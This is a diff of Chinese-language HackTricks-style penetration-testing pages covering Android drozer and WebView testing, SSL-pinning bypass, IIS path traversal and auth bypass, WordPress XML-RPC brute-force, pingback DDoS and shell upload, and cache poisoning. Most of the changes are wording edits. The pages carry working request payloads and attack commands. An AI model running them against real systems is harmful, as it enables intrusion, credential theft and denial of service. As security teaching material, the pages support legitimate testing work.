- **WebViewClient** 适合基本的 HTML，但不支持 JavaScript 警告功能，这会影响 XSS 攻击的测试方式。
|
||||
- **WebChromeClient** 更像是完整的 Chrome 浏览器体验。
|
||||
|
||||
一个关键点是 WebView 浏览器 **不与设备的主浏览器共享 cookies**。
|
||||
@ -336,7 +336,7 @@ Android 提供了两种主要的 WebView 类型：
|
||||
|
||||
JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互，从 Android 4.2 开始，要求方法使用 `@JavascriptInterface` 标记以确保安全。
|
||||
|
||||
允许内容访问 (`setAllowContentAccess(true)`) 使 WebViews 能够访问内容提供者，这可能是一个风险，除非内容 URL 被验证为安全。
|
||||
允许内容访问 (`setAllowContentAccess(true)`) 使 WebViews 能够访问内容提供者，这可能会带来风险，除非内容 URL 被验证为安全。
|
||||
|
||||
要控制文件访问：
|
||||
|
||||
@ -354,7 +354,7 @@ JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互，从 Android 4.2
|
||||
|
||||
### **移动设备管理 (MDM)**
|
||||
|
||||
- **MDM 解决方案** 通过 **设备管理 API** 提供对移动设备的 **监督和安全**。它们需要安装 Android 应用以有效管理和保护移动设备。主要功能包括 **强制密码策略**、**要求存储加密** 和 **允许远程数据擦除**，确保对移动设备的全面控制和安全。
|
||||
- **MDM 解决方案** 通过 **设备管理 API** 提供对移动设备的 **监督和安全**。它们需要安装 Android 应用以有效管理和保护移动设备。主要功能包括 **强制实施密码策略**、**要求存储加密** 和 **允许远程数据擦除**，确保对移动设备的全面控制和安全。
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
||||
@ -42,21 +42,21 @@ drozer console connect
|
||||
| **命令** | **描述** |
|
||||
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | 显示所选模块的帮助 |
|
||||
| **list** | 显示当前会话中可以执行的所有 drozer 模块的列表。这会隐藏您没有适当权限运行的模块。 |
|
||||
| **list** | 显示当前会话中可以执行的所有 drozer 模块的列表。这会隐藏您没有适当权限运行的模块。 |
|
||||
| **shell** | 在设备上启动一个交互式 Linux shell，处于 Agent 的上下文中。 |
|
||||
| **clean** | 删除 drozer 在 Android 设备上存储的临时文件。 |
|
||||
| **clean** | 删除 drozer 在 Android 设备上存储的临时文件。 |
|
||||
| **load** | 加载包含 drozer 命令的文件并按顺序执行它们。 |
|
||||
| **module** | 从互联网查找并安装额外的 drozer 模块。 |
|
||||
| **unset** | 删除 drozer 传递给其生成的任何 Linux shell 的命名变量。 |
|
||||
| **set** | 将值存储在变量中，该变量将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
|
||||
| **unset** | 删除 drozer 传递给其生成的任何 Linux shell 的命名变量。 |
|
||||
| **set** | 在变量中存储一个值，该值将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
|
||||
| **shell** | 在设备上启动一个交互式 Linux shell，处于 Agent 的上下文中。 |
|
||||
| **run MODULE** | 执行一个 drozer 模块 |
|
||||
| **exploit** | Drozer 可以创建在设备上执行的漏洞。 `drozer exploit list` |
|
||||
| **exploit** | Drozer 可以创建在设备上执行的漏洞。 `drozer exploit list` |
|
||||
| **payload** | 漏洞需要一个有效载荷。 `drozer payload list` |
|
||||
|
||||
### 包
|
||||
|
||||
通过部分名称查找 **包** 的 **名称**：
|
||||
通过部分名称过滤找到 **包** 的 **名称**：
|
||||
```bash
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
@ -103,7 +103,7 @@ is debuggable
|
||||
### 活动
|
||||
|
||||
导出的活动组件的“android:exported”值在AndroidManifest.xml文件中设置为**“true”**:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
@ -135,7 +135,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### 服务
|
||||
|
||||
导出的服务在 Manifest.xml 中声明：
|
||||
```markup
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
在代码中**检查**\*\*`handleMessage`\*\*函数，该函数将**接收****消息**：
|
||||
@ -164,7 +164,7 @@ app.service.stop Stop Service
|
||||
.png>)
|
||||
|
||||
请注意，您将首先发送 "_msg.what_" 中的数据，然后是 "_msg.arg1_" 和 "_msg.arg2_"，您应该检查代码 **使用了哪些信息** 以及在哪里。\
|
||||
使用 `--extra` 选项，您可以发送由 "_msg.replyTo"_" 解释的内容，使用 `--bundle-as-obj` 您可以创建一个包含提供的详细信息的对象。
|
||||
使用 `--extra` 选项，您可以发送由 "_msg.replyTo" _ 解释的内容，使用 `--bundle-as-obj` 您可以创建一个包含提供的详细信息的对象。
|
||||
|
||||
在以下示例中：
|
||||
|
||||
@ -179,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
||||
|
||||
### 广播接收器
|
||||
|
||||
**在 Android 基本信息部分，您可以看到什么是广播接收器**。
|
||||
**在Android基本信息部分，您可以看到什么是广播接收器**。
|
||||
|
||||
在发现这些广播接收器后，您应该**检查它们的代码**。特别注意**`onReceive`**函数，因为它将处理接收到的消息。
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# 自动
|
||||
|
||||
工具 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) 将 **自动** 对应用程序进行必要的更改，以开始捕获请求，并且还将禁用证书固定（如果有的话）。
|
||||
工具 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) 将 **自动** 对应用程序进行必要的更改，以开始捕获请求，并且还会禁用证书固定（如果有的话）。
|
||||
|
||||
# 手动
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
|
||||
现在进入 **res/xml** 文件夹，创建/修改一个名为 network_security_config.xml 的文件，内容如下：
|
||||
```markup
|
||||
```html
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
@ -37,10 +37,10 @@
|
||||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
然后保存文件并退出所有目录，使用以下命令重建apk： `apktool b *folder-name/* -o *output-file.apk*`
|
||||
然后保存文件，退出所有目录，并使用以下命令重建apk： `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
|
||||
|
||||
最后，您只需**签署新应用程序**。[阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||
最后，您只需**签署新应用程序**。 [阅读此页面的此部分 Smali - Decompiling/\[Modifying\]/Compiling 以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## 执行 .config 文件
|
||||
|
||||
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码：[在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码：[在这里下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
有关利用此漏洞的更多信息和技术 [在这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
@ -68,7 +68,7 @@ iisfinal.txt
|
||||
### **探索二进制文件**
|
||||
|
||||
访问 **web.config** 文件的示例如下：
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -76,7 +76,7 @@ Host: example-mvc-application.minded
|
||||
|
||||
- **EntityFramework** 版本
|
||||
- **AppSettings** 用于网页、客户端验证和 JavaScript
|
||||
- **System.web** 身份验证和运行时的配置
|
||||
- **System.web** 认证和运行时的配置
|
||||
- **System.webServer** 模块设置
|
||||
- **Runtime** 程序集绑定，适用于多个库，如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc**
|
||||
|
||||
@ -88,15 +88,15 @@ Host: example-mvc-application.minded
|
||||
|
||||
### **命名空间和 Web.Config**
|
||||
|
||||
MVC 应用程序还为特定命名空间定义额外的 **web.config 文件**，以避免在每个文件中重复声明，如请求下载另一个 **web.config** 所示：
|
||||
```markup
|
||||
MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**，以避免在每个文件中重复声明，如请求下载另一个 **web.config** 所示：
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **下载 DLLs**
|
||||
|
||||
提到自定义命名空间暗示在 /bin 目录中存在一个名为 "**WebApplication1**" 的 DLL。接下来，显示了下载 **WebApplication1.dll** 的请求：
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -185,27 +185,27 @@ C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
## HTTPAPI 2.0 404 错误
|
||||
|
||||
如果你看到如下错误：
|
||||
如果您看到以下错误：
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
这意味着服务器**没有在 Host 头中接收到正确的域名**。\
|
||||
为了访问网页，你可以查看提供的**SSL 证书**，也许可以在其中找到域名/子域名。如果没有，你可能需要**暴力破解 VHosts**，直到找到正确的。
|
||||
为了访问网页，您可以查看提供的**SSL 证书**，也许可以在其中找到域名/子域名。如果没有，您可能需要**暴力破解 VHosts**，直到找到正确的。
|
||||
|
||||
## 值得关注的旧 IIS 漏洞
|
||||
|
||||
### Microsoft IIS 波浪字符“\~”漏洞/特性 – 短文件/文件夹名称泄露
|
||||
|
||||
你可以尝试使用此**技术**来**枚举文件夹和文件**，即使它需要基本身份验证。\
|
||||
如果服务器存在漏洞，这种技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
|
||||
您可以尝试使用此**技术**来**枚举文件夹和文件**，即使它需要基本身份验证。\
|
||||
如果服务器存在漏洞，此技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
|
||||
|
||||
你可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞：`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
您可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞：`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
原始研究：[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
|
||||
你也可以使用**metasploit**：`use scanner/http/iis_shortname_scanner`
|
||||
您还可以使用**metasploit**：`use scanner/http/iis_shortname_scanner`
|
||||
|
||||
一个不错的主意是**找到发现文件的最终名称**，可以**询问 LLMs** 选项，就像在脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。
|
||||
|
||||
@ -213,13 +213,13 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
**绕过**基本身份验证（**IIS 7.5**），尝试访问：`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
你可以尝试将此**漏洞**与上一个结合，以发现新的**文件夹**并**绕过**身份验证。
|
||||
您可以尝试将此**漏洞**与最后一个结合，以查找新的**文件夹**并**绕过**身份验证。
|
||||
|
||||
## ASP.NET Trace.AXD 启用调试
|
||||
|
||||
ASP.NET 包含调试模式，其文件名为 `trace.axd`。
|
||||
|
||||
它保持对一段时间内对应用程序所做的所有请求的详细日志。
|
||||
它保持对在一段时间内对应用程序所做的所有请求的详细日志。
|
||||
|
||||
此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息，甚至可能包括用户名和密码。
|
||||
|
||||
@ -232,16 +232,16 @@ ASP.NET 包含调试模式，其文件名为 `trace.axd`。
|
||||
ASPXAUTH 使用以下信息：
|
||||
|
||||
- **`validationKey`**（字符串）：用于签名验证的十六进制编码密钥。
|
||||
- **`decryptionMethod`**（字符串）：（默认“AES”）。
|
||||
- **`decryptionMethod`**（字符串）：（默认“ AES”）。
|
||||
- **`decryptionIV`**（字符串）：十六进制编码的初始化向量（默认为零向量）。
|
||||
- **`decryptionKey`**（字符串）：用于解密的十六进制编码密钥。
|
||||
|
||||
然而，有些人会使用这些参数的**默认值**，并将**用户的电子邮件**用作**cookie**。因此，如果你能找到一个使用 ASPXAUTH cookie 的**相同平台**的网页，并且你**在被攻击的服务器上创建一个与要冒充的用户相同的电子邮件的用户**，你可能能够在第一个服务器中**使用第二个服务器的 cookie**，并冒充该用户。\
|
||||
然而，有些人会使用这些参数的**默认值**，并将**用户的电子邮件**用作**cookie**。因此，如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页，并且您**在被攻击的服务器上创建一个与您想要冒充的用户的电子邮件相同的用户**，您可能能够在第一个服务器中使用**第二个服务器的 cookie**并冒充该用户。\
|
||||
这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。
|
||||
|
||||
## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)：代码中的一个错误**没有正确检查用户提供的密码**，因此一个攻击者如果**密码哈希命中缓存中的一个键**，将能够以该用户身份登录。
|
||||
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)：代码中的一个错误**没有正确检查用户提供的密码**，因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
||||
@ -5,11 +5,11 @@
|
||||
## 基本信息
|
||||
|
||||
- **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **主题文件可以在 /wp-content/themes/ 中找到，** 所以如果你修改主题的某些 php 文件以获取 RCE，你可能会使用该路径。例如：使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **主题文件可以在 /wp-content/themes/ 中找到，** 所以如果你修改主题的一些 php 文件以获取 RCE，你可能会使用该路径。例如：使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- 在 **wp-config.php** 中可以找到数据库的根密码。
|
||||
- 在 **wp-config.php** 中你可以找到数据库的根密码。
|
||||
- 默认登录路径检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **主要 WordPress 文件**
|
||||
@ -30,12 +30,12 @@
|
||||
|
||||
**后期利用**
|
||||
|
||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息，例如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐，以及数据库表前缀。此配置文件还可以用于激活 DEBUG 模式，这在故障排除时可能很有用。
|
||||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息，例如数据库名称、数据库主机、用户名和密码、认证密钥和盐，以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式，这在故障排除时非常有用。
|
||||
|
||||
### 用户权限
|
||||
|
||||
- **管理员**
|
||||
- **编辑**: 发布和管理他和其他人的帖子
|
||||
- **编辑者**: 发布和管理他和其他人的帖子
|
||||
- **作者**: 发布和管理自己的帖子
|
||||
- **贡献者**: 撰写和管理自己的帖子但不能发布
|
||||
- **订阅者**: 浏览帖子并编辑他们的个人资料
|
||||
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- CSS 链接文件
|
||||
- CSS链接文件
|
||||
|
||||
.png>)
|
||||
|
||||
- JavaScript 文件
|
||||
- JavaScript文件
|
||||
|
||||
### 获取插件
|
||||
```bash
|
||||
@ -83,11 +83,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### 用户
|
||||
|
||||
- **ID 暴力破解：** 您可以通过暴力破解用户 ID 从 WordPress 网站获取有效用户：
|
||||
- **ID 暴力破解：** 通过暴力破解用户 ID 从 WordPress 网站获取有效用户：
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
如果响应是 **200** 或 **30X**，这意味着 id 是 **有效** 的。如果响应是 **400**，那么 id 是 **无效** 的。
|
||||
如果响应是 **200** 或 **30X**，这意味着 id 是 **有效** 的。如果响应是 **400**，则 id 是 **无效** 的。
|
||||
|
||||
- **wp-json:** 你也可以通过查询来获取用户的信息：
|
||||
```bash
|
||||
@ -97,7 +97,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
注意，此端点仅公开已发布帖子的用户。**仅提供启用此功能的用户的信息**。
|
||||
注意，此端点仅暴露已发布帖子的用户。**仅提供启用此功能的用户的信息**。
|
||||
|
||||
还要注意，**/wp-json/wp/v2/pages** 可能会泄露 IP 地址。
|
||||
|
||||
@ -110,7 +110,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
要查看它是否处于活动状态，请尝试访问 _**/xmlrpc.php**_ 并发送此请求：
|
||||
|
||||
**检查**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
<params></params>
|
||||
@ -118,10 +118,10 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
|
||||
|
||||
**凭证暴力破解**
|
||||
**凭据暴力破解**
|
||||
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭证的方法。如果你能找到其中任何一个，你可以发送类似于：
|
||||
```markup
|
||||
**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭据的方法。如果你能找到其中任何一个，你可以发送类似于：
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
@ -137,7 +137,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
.png>)
|
||||
|
||||
使用正确的凭据，您可以上传文件。在响应中，路径将出现 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```markup
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
@ -170,15 +170,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**绕过 2FA**
|
||||
**绕过2FA**
|
||||
|
||||
此方法是针对程序而非人类的，并且较旧，因此不支持 2FA。因此，如果您拥有有效的凭据，但主要入口受到 2FA 保护，**您可能能够利用 xmlrpc.php 使用这些凭据登录，从而绕过 2FA**。请注意，您将无法执行通过控制台可以执行的所有操作，但您仍然可能能够达到 RCE，正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
|
||||
此方法是针对程序而非人类的，并且较旧，因此不支持2FA。因此，如果您拥有有效的凭据，但主要入口受到2FA保护，**您可能能够利用xmlrpc.php使用这些凭据登录，从而绕过2FA**。请注意，您将无法执行通过控制台可以执行的所有操作，但您仍然可能能够达到RCE，正如Ippsec在[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)中解释的那样。
|
||||
|
||||
**DDoS 或端口扫描**
|
||||
**DDoS或端口扫描**
|
||||
|
||||
如果您可以在列表中找到方法 _**pingback.ping**_，则可以使 Wordpress 向任何主机/端口发送任意请求。\
|
||||
这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**（因此在该位置造成**DDoS**），或者您可以用它让**Wordpress**去**扫描**某个内部**网络**（您可以指定任何端口）。
|
||||
```markup
|
||||
如果您可以在列表中找到方法_**pingback.ping**_，则可以使Wordpress向任何主机/端口发送任意请求。\
|
||||
这可以用来请求**成千上万**的Wordpress **站点** **访问**一个**位置**（因此在该位置造成**DDoS**），或者您可以用它让**Wordpress** **扫描**一些内部**网络**（您可以指定任何端口）。
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params><param>
|
||||
@ -194,7 +194,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
查看上一节中 **`system.multicall`** 的使用，了解如何利用此方法造成 DDoS。
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params>
|
||||
@ -227,7 +227,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**，如果存在，则尝试利用它们。
|
||||
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**，如果存在，它会尝试利用它们。
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -283,7 +283,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
.png>)
|
||||
|
||||
这可能看起来没有任何作用，但如果您去媒体，您会看到您的 shell 已上传：
|
||||
这可能看起来没有任何反应，但如果您转到媒体，您将看到您的 shell 已上传：
|
||||
|
||||
.png>)
|
||||
|
||||
@ -302,7 +302,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
3. **插件激活**：插件成功安装后，必须通过仪表板激活。
|
||||
4. **利用**：
|
||||
- 安装并激活插件“reflex-gallery”，可以利用该插件，因为已知存在漏洞。
|
||||
- Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令，可以建立 meterpreter 会话，从而获得对站点的未经授权访问。
|
||||
- Metasploit 框架提供了该漏洞的利用。通过加载适当的模块并执行特定命令，可以建立 meterpreter 会话，从而获得对站点的未经授权访问。
|
||||
- 注意，这只是利用 WordPress 网站的众多方法之一。
|
||||
|
||||
内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而，重要的是要注意，以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用，仅在法律背景下使用，例如在获得明确许可的渗透测试中。
|
||||
@ -311,7 +311,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
## 从 XSS 到 RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike)：_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他 WordPress 中的关键漏洞的脚本。有关更多信息，请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **WordPress 版本 6.X.X、5.X.X 和 4.X.X 的支持，并允许：**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike)：_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本，适用于 WordPress。有关更多信息，请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持，并允许：**
|
||||
- _**权限提升：**_ 在 WordPress 中创建用户。
|
||||
- _**(RCE) 自定义插件（后门）上传：**_ 将您的自定义插件（后门）上传到 WordPress。
|
||||
- _**(RCE) 内置插件编辑：**_ 编辑 WordPress 中的内置插件。
|
||||
@ -343,10 +343,10 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**使用 `nopriv` 使得端点可以被任何用户访问（甚至是未认证的用户）。**
|
||||
**使用 `nopriv` 使得该端点可以被任何用户访问（甚至是未认证的用户）。**
|
||||
|
||||
> [!CAUTION]
|
||||
> 此外，如果该函数只是使用 `wp_verify_nonce` 检查用户的授权，该函数仅检查用户是否已登录，通常并不检查用户的角色。因此，低权限用户可能会访问高权限的操作。
|
||||
> 此外，如果该函数仅使用 `wp_verify_nonce` 检查用户的授权，该函数只是检查用户是否已登录，通常并不检查用户的角色。因此，低权限用户可能会访问高权限的操作。
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -392,6 +392,6 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- 使用 **强密码** 和 **2FA**
|
||||
- 定期 **审查** 用户 **权限**
|
||||
- **限制登录尝试** 以防止暴力攻击
|
||||
- 重命名 **`wp-admin.php`** 文件，并仅允许内部或来自特定 IP 地址的访问。
|
||||
- 重命名 **`wp-admin.php`** 文件，并仅允许内部或特定 IP 地址访问。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,8 +15,8 @@
|
||||
|
||||
执行缓存中毒攻击涉及几个步骤：
|
||||
|
||||
1. **识别无键输入**：这些是参数，尽管不是缓存请求所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
|
||||
2. **利用无键输入**：在识别无键输入后，下一步是弄清楚如何滥用这些参数，以一种对攻击者有利的方式修改服务器的响应。
|
||||
1. **识别未键入的输入**：这些是参数，尽管不是请求被缓存所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
|
||||
2. **利用未键入的输入**：在识别未键入的输入后，下一步是弄清楚如何滥用这些参数，以修改服务器的响应，从而使攻击者受益。
|
||||
3. **确保被污染的响应被缓存**：最后一步是确保被操纵的响应被存储在缓存中。这样，任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
|
||||
|
||||
### 发现：检查HTTP头
|
||||
@ -35,43 +35,43 @@ cache-poisoning-to-dos.md
|
||||
|
||||
但是，请注意**有时这些状态代码不会被缓存**，因此此测试可能不可靠。
|
||||
|
||||
### 发现：识别和评估无键输入
|
||||
### 发现：识别和评估未键入的输入
|
||||
|
||||
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头**。例如，一个页面可能使用头`X-Forwarded-For`来指示客户端从那里加载脚本：
|
||||
```markup
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### 引发后端服务器的有害响应
|
||||
|
||||
在识别出参数/头部后，检查它是如何被**清理**的，以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗（执行 XSS 或加载你控制的 JS 代码？执行 DoS？...）
|
||||
在识别出参数/头部后，检查它是如何被**清洗**的，以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗（执行 XSS 或加载你控制的 JS 代码？执行 DoS？...）
|
||||
|
||||
### 获取响应缓存
|
||||
|
||||
一旦你**识别**出可以被滥用的**页面**，使用哪个**参数**/**头部**以及**如何**滥用它，你需要让页面被缓存。根据你尝试缓存的资源，这可能需要一些时间，你可能需要尝试几秒钟。
|
||||
|
||||
响应中的头部 **`X-Cache`** 可能非常有用，因为当请求未被缓存时，它的值可能是 **`miss`**，而当它被缓存时，值为 **`hit`**。\
|
||||
